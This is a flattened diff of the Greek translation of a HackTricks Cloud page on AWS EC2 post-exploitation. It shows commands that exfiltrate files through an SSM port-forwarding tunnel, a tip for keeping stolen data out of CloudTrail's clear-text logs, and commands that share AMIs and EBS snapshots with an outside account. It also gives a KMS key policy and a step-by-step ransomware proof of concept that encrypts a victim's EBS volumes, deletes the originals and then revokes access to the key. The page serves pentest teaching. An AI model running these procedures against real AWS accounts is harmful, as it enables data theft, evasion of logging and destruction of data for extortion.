ασφαλείς από οποιονδήποτε τύπο επιθέσεων MitM. -Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application. +Τέλος, αυτή η τεχνική δεν είναι συγκεκριμένη για επιθέσεις σε ιδιωτικά EKS clusters. Μπορείτε να ορίσετε οποιαδήποτε domains και ports για να pivot σε οποιαδήποτε άλλη AWS service ή σε μια custom εφαρμογή. --- -#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) +#### Γρήγορο Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) -Αν χρειάζεστε μόνο να προωθήσετε **μία TCP θύρα από το EC2 instance προς το τοπικό σας host** μπορείτε να χρησιμοποιήσετε το `AWS-StartPortForwardingSession` SSM document (δεν απαιτείται παράμετρος remote host): +Αν χρειάζεστε μόνο να προωθήσετε **one TCP port from the EC2 instance to your local host** μπορείτε να χρησιμοποιήσετε το `AWS-StartPortForwardingSession` SSM document (no remote host parameter required): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -Η εντολή δημιουργεί ένα αμφίδρομο tunnel μεταξύ του workstation σας (`localPortNumber`) και της επιλεγμένης θύρας (`portNumber`) στο instance **χωρίς να ανοίξει κανένας εισερχόμενος κανόνας Security-Group**. +Η εντολή δημιουργεί ένα αμφίδρομο tunnel μεταξύ του workstation σας (`localPortNumber`) και της επιλεγμένης θύρας (`portNumber`) στο instance **without opening any inbound Security-Group rules**. -Common use cases: +Συνηθισμένες περιπτώσεις χρήσης: * **File exfiltration** -1. On the instance start a quick HTTP server that points to the directory you want to exfiltrate: +1. Στο instance ξεκινήστε έναν γρήγορο HTTP server που δείχνει στον κατάλογο που θέλετε να exfiltrate: ```bash python3 -m http.server 8000 ``` -2. From your workstation fetch the files through the SSM tunnel: +2. Από το workstation σας ανακτήστε τα αρχεία μέσω του SSM tunnel: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Accessing internal web applications (e.g. Nessus)** +* **Πρόσβαση σε εσωτερικές web εφαρμογές (π.χ. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -288,28 +292,28 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Συμβουλή: Compress και encrypt τα αποδεικτικά στοιχεία πριν από το exfiltrating τους, ώστε το CloudTrail να μην καταγράφει το clear-text περιεχόμενο: +Συμβουλή: Συμπιέστε και κρυπτογραφήστε τα αποδεικτικά στοιχεία πριν από το exfiltrating τους, ώστε το CloudTrail να μην καταγράφει το clear-text περιεχόμενο: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' ``` -### Κοινοποίηση AMI +### Κοινή χρήση AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### Αναζήτηση ευαίσθητων πληροφοριών σε δημόσια και ιδιωτικά AMIs +### Αναζήτηση ευαίσθητων πληροφοριών σε δημόσιες και ιδιωτικές AMIs -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel είναι ένα εργαλείο σχεδιασμένο να **αναζητά ευαίσθητες πληροφορίες εντός δημόσιων ή ιδιωτικών Amazon Machine Images (AMIs)**. Αυτοματοποιεί τη διαδικασία εκκίνησης instances από τα στοχευόμενα AMIs, προσαρτώντας τα volumes τους, και σαρώνοντας για πιθανά secrets ή ευαίσθητα δεδομένα. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): Το CloudShovel είναι ένα εργαλείο σχεδιασμένο για να **αναζητά ευαίσθητες πληροφορίες μέσα σε δημόσιες ή ιδιωτικές Amazon Machine Images (AMIs)**. Αυτοματοποιεί τη διαδικασία εκκίνησης instances από στοχευμένα AMIs, το mounting των volumes τους και τη σάρωση για πιθανά secrets ή ευαίσθητα δεδομένα. -### Κοινοποίηση EBS Snapshot +### Κοινή χρήση EBS Snapshot ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC -Ένα proof of concept παρόμοιο με τη Ransomware demonstration που παρουσιάζεται στις S3 post-exploitation σημειώσεις. Το KMS θα έπρεπε να μετονομαστεί σε RMS για Ransomware Management Service, δεδομένης της ευκολίας χρήσης του για την κρυπτογράφηση διαφόρων AWS υπηρεσιών. +Μια proof of concept παρόμοια με την επίδειξη Ransomware που παρουσιάστηκε στις σημειώσεις S3 post-exploitation. Το KMS θα έπρεπε να μετονομαστεί σε RMS (Ransomware Management Service) δεδομένης της ευκολίας με την οποία μπορεί να χρησιμοποιηθεί για να κρυπτογραφήσει διάφορες υπηρεσίες AWS. -Πρώτα, από έναν 'attacker' AWS account, δημιουργήστε ένα customer managed key στο KMS. Για αυτό το παράδειγμα θα αφήσουμε την AWS να διαχειρίζεται τα key data για εμένα, αλλά σε ένα ρεαλιστικό σενάριο ένας malicious actor θα κρατούσε τα key data εκτός του ελέγχου της AWS. Αλλάξτε την key policy ώστε να επιτρέπει σε οποιονδήποτε AWS account Principal να χρησιμοποιεί το key. Για αυτήν την key policy, το όνομα του account ήταν 'AttackSim' και ο κανόνας πολιτικής που επιτρέπει πλήρη πρόσβαση ονομάζεται 'Outside Encryption' +Πρώτα, από έναν 'attacker' AWS λογαριασμό, δημιούργησε ένα customer managed key στο KMS. Σε αυτό το παράδειγμα θα αφήσουμε την AWS να διαχειριστεί τα δεδομένα του key για εμάς, αλλά σε ρεαλιστικό σενάριο ένας malicious actor θα διατήρούσε τα δεδομένα του key εκτός του ελέγχου της AWS. Άλλαξε το key policy ώστε να επιτρέπει σε οποιονδήποτε AWS account Principal να χρησιμοποιεί το key. Για αυτό το key policy, το όνομα του λογαριασμού ήταν 'AttackSim' και ο κανόνας πολιτικής που επιτρέπει πλήρη πρόσβαση ονομάζεται 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -401,7 +405,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ] } ``` -Ο κανόνας πολιτικής του key χρειάζεται να έχει ενεργοποιημένα τα παρακάτω ώστε να επιτρέπει τη χρήση του για κρυπτογράφηση ενός EBS volume: +Ο κανόνας πολιτικής κλειδιού χρειάζεται να έχει ενεργοποιημένα τα ακόλουθα για να επιτρέπει τη χρήση του για την κρυπτογράφηση ενός EBS volume: - `kms:CreateGrant` - `kms:Decrypt` @@ -409,21 +413,21 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Τώρα, με το δημόσια προσβάσιμο key διαθέσιμο για χρήση. Μπορούμε να χρησιμοποιήσουμε έναν 'victim' λογαριασμό που έχει κάποια EC2 instances σε λειτουργία με ανεκρυπτογραφημένα EBS volumes προσαρτημένα. Τα EBS volumes αυτού του 'victim' λογαριασμού είναι ο στόχος μας για κρυπτογράφηση — αυτή η επίθεση γίνεται υπό την υπόθεση παραβίασης ενός AWS λογαριασμού με υψηλά προνόμια. +Τώρα με το δημόσια προσβάσιμο key προς χρήση. Μπορούμε να χρησιμοποιήσουμε έναν 'victim' account που έχει μερικές EC2 instances σε λειτουργία με συνημμένα unencrypted EBS volumes. Τα EBS volumes αυτού του 'victim' account είναι ο στόχος μας για κρυπτογράφηση — αυτή η επίθεση εκτελείται υπό την υπόθεση παραβίασης ενός high-privilege AWS account. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Παρόμοιο με το παράδειγμα ransomware στο S3. Αυτή η επίθεση θα δημιουργήσει αντίγραφα των προσαρτημένων EBS volumes χρησιμοποιώντας snapshots, θα χρησιμοποιήσει το δημόσια διαθέσιμο key από τον 'attacker' λογαριασμό για να κρυπτογραφήσει τα νέα EBS volumes, στη συνέχεια θα αποσυνδέσει (detach) τα αρχικά EBS volumes από τα EC2 instances και θα τα διαγράψει, και τέλος θα διαγράψει τα snapshots που χρησιμοποιήθηκαν για τη δημιουργία των καινούριων κρυπτογραφημένων EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Παρόμοιο με το S3 ransomware παράδειγμα. Αυτή η επίθεση θα δημιουργήσει αντίγραφα των συνημμένων EBS volumes χρησιμοποιώντας snapshots, θα χρησιμοποιήσει το δημόσια διαθέσιμο key από τον 'attacker' account για να κρυπτογραφήσει τα νέα EBS volumes, στη συνέχεια θα αποσυνδέσει τα αρχικά EBS volumes από τις EC2 instances και θα τα διαγράψει, και τέλος θα διαγράψει τα snapshots που χρησιμοποιήθηκαν για να δημιουργήσουν τα νεοκρυπτογραφημένα EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -Το αποτέλεσμα είναι ότι μέσα στον λογαριασμό θα παραμείνουν μόνο κρυπτογραφημένα EBS volumes διαθέσιμα. +Αυτό έχει ως αποτέλεσμα να μένουν διαθέσιμα στον account μόνο τα κρυπτογραφημένα EBS volumes. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Επιπλέον, αξίζει να σημειωθεί ότι το script τερμάτισε τα EC2 instances για να αποσυνδέσει και να διαγράψει τα αρχικά EBS volumes. Τα αρχικά μη κρυπτογραφημένα volumes έχουν πλέον χαθεί. +Αξίζει επίσης να σημειωθεί ότι το script σταμάτησε τις EC2 instances για να αποσυνδέσει και να διαγράψει τα αρχικά EBS volumes. Τα αρχικά unencrypted volumes έχουν πλέον εξαφανιστεί. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Στη συνέχεια, επιστρέψτε στην key policy στον 'attacker' λογαριασμό και αφαιρέστε τον κανόνα πολιτικής 'Outside Encryption' από την key policy. +Στη συνέχεια, επιστρέψτε στην key policy στον 'attacker' account και αφαιρέστε τον κανόνα πολιτικής 'Outside Encryption' από την key policy. ```json { "Version": "2012-10-17", @@ -494,15 +498,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ] } ``` -Περιμένετε λίγο ώστε η νέα key policy να διαδοθεί. Στη συνέχεια επιστρέψτε στον 'victim' λογαριασμό και προσπαθήστε να προσαρτήσετε ένα από τα πρόσφατα κρυπτογραφημένα EBS volumes. Θα διαπιστώσετε ότι μπορείτε να προσαρτήσετε τον δίσκο. +Περίμενε λίγο ώστε η νεορυθμισμένη πολιτική του κλειδιού να διαδοθεί. Στη συνέχεια επέστρεψε στον λογαριασμό 'victim' και προσπάθησε να επισυνάψεις έναν από τους πρόσφατα κρυπτογραφημένους EBS volumes. Θα διαπιστώσεις ότι μπορείς να επισυνάψεις τον volume. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Αλλά όταν προσπαθήσετε να εκκινήσετε ξανά το EC2 instance με το κρυπτογραφημένο EBS volume, αυτό θα αποτύχει και θα επιστρέψει από την κατάσταση 'pending' στην κατάσταση 'stopped' επ' άπειρο, επειδή το προσαρτημένο EBS volume δεν μπορεί να αποκρυπτογραφηθεί χρησιμοποιώντας το key καθώς η key policy πλέον δεν το επιτρέπει. +Όμως όταν προσπαθήσεις πραγματικά να εκκινήσεις ξανά το EC2 instance με τον κρυπτογραφημένο EBS volume, αυτό θα αποτύχει και θα πάει από την κατάσταση 'pending' πίσω στην κατάσταση 'stopped' επ’ αόριστον, επειδή ο επισυναπτόμενος EBS volume δεν μπορεί να αποκρυπτογραφηθεί με το κλειδί καθώς η πολιτική του κλειδιού πλέον δεν το επιτρέπει. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Αυτό είναι το python script που χρησιμοποιήθηκε. Παίρνει AWS creds για έναν 'victim' λογαριασμό και μια δημόσια διαθέσιμη AWS ARN τιμή για το key που θα χρησιμοποιηθεί για την κρυπτογράφηση. Το script θα δημιουργήσει κρυπτογραφημένα αντίγραφα ΟΛΩΝ των διαθέσιμων EBS volumes προσαρτημένων σε ΟΛΑ τα EC2 instances στον στοχοποιημένο AWS λογαριασμό, έπειτα θα σταματήσει κάθε EC2 instance, θα αποσυνδέσει τα αρχικά EBS volumes, θα τα διαγράψει, και τελικά θα διαγράψει όλα τα snapshots που χρησιμοποιήθηκαν κατά τη διαδικασία. Αυτό θα αφήσει μόνο κρυπτογραφημένα EBS volumes στον στοχοποιημένο 'victim' λογαριασμό. ΧΡΗΣΙΜΟΠΟΙΗΣΤΕ ΑΥΤΟ ΤΟ SCRIPT ΜΟΝΟ ΣΕ ΠΕΡΙΒΑΛΛΟΝ ΔΟΚΙΜΩΝ, ΕΙΝΑΙ ΚΑΤΑΣΤΡΟΦΙΚΟ ΚΑΙ ΘΑ ΔΙΑΓΡΑΨΕΙ ΟΛΑ ΤΑ ΑΡΧΙΚΑ EBS VOLUMES. Μπορείτε να τα ανακτήσετε χρησιμοποιώντας το KMS key που χρησιμοποιήθηκε και να τα επαναφέρετε στην αρχική τους κατάσταση μέσω snapshots, αλλά απλώς θέλω να σας ενημερώσω ότι στο τέλος της ημέρας πρόκειται για ένα ransomware PoC. +Αυτό είναι το python script που χρησιμοποιήθηκε. Παίρνει AWS creds για έναν λογαριασμό 'victim' και μια δημόσια διαθέσιμη AWS ARN τιμή για το κλειδί που θα χρησιμοποιηθεί για την κρυπτογράφηση. Το script θα δημιουργήσει κρυπτογραφημένα αντίγραφα ΟΛΩΝ των διαθέσιμων EBS volumes που είναι επισυναπτόμενα σε ΟΛΑ τα EC2 instances στο στοχευμένο AWS account, στη συνέχεια θα σταματήσει κάθε EC2 instance, θα αποσυνδέσει τους αρχικούς EBS volumes, θα τους διαγράψει και τελικά θα διαγράψει όλα τα snapshots που χρησιμοποιήθηκαν κατά τη διαδικασία. Αυτό θα αφήσει μόνο κρυπτογραφημένους EBS volumes στον στοχευμένο 'victim' account. ΜΟΝΟ ΧΡΗΣΙΜΟΠΟΙΗΣΤΕ ΑΥΤΟ ΤΟ SCRIPT ΣΕ ΠΕΡΙΒΑΛΛΟΝ ΔΟΚΙΜΩΝ — ΕΙΝΑΙ ΚΑΤΑΣΤΡΟΦΙΚΟ ΚΑΙ ΘΑ ΔΙΑΓΡΑΨΕΙ ΟΛΟΥΣ ΤΟΥΣ ΑΡΧΙΚΟΥΣ EBS VOLUMES. Μπορείτε να τους ανακτήσετε χρησιμοποιώντας το χρησιμοποιηθέν KMS key και να τους επαναφέρετε στην αρχική τους κατάσταση μέσω snapshots, αλλά θέλω απλώς να σας κάνω σαφές ότι πρόκειται στην ουσία για ransomware PoC. ``` import boto3 import argparse @@ -621,8 +625,10 @@ main() ``` ## Αναφορές -- [Latacora - ECS on EC2: Κάλυψη κενών στην ενίσχυση του IMDS](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) -- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform αποθετήριο](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) -- [Pentest Partners – Πώς να μεταφέρετε αρχεία σε AWS χρησιμοποιώντας SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- +- [Latacora - ECS on EC2: Κάλυψη κενών σε IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) +- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) +- [Pentest Partners – Πώς να μεταφέρετε αρχεία στο AWS χρησιμοποιώντας SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) + {{#include ../../../../banners/hacktricks-training.md}}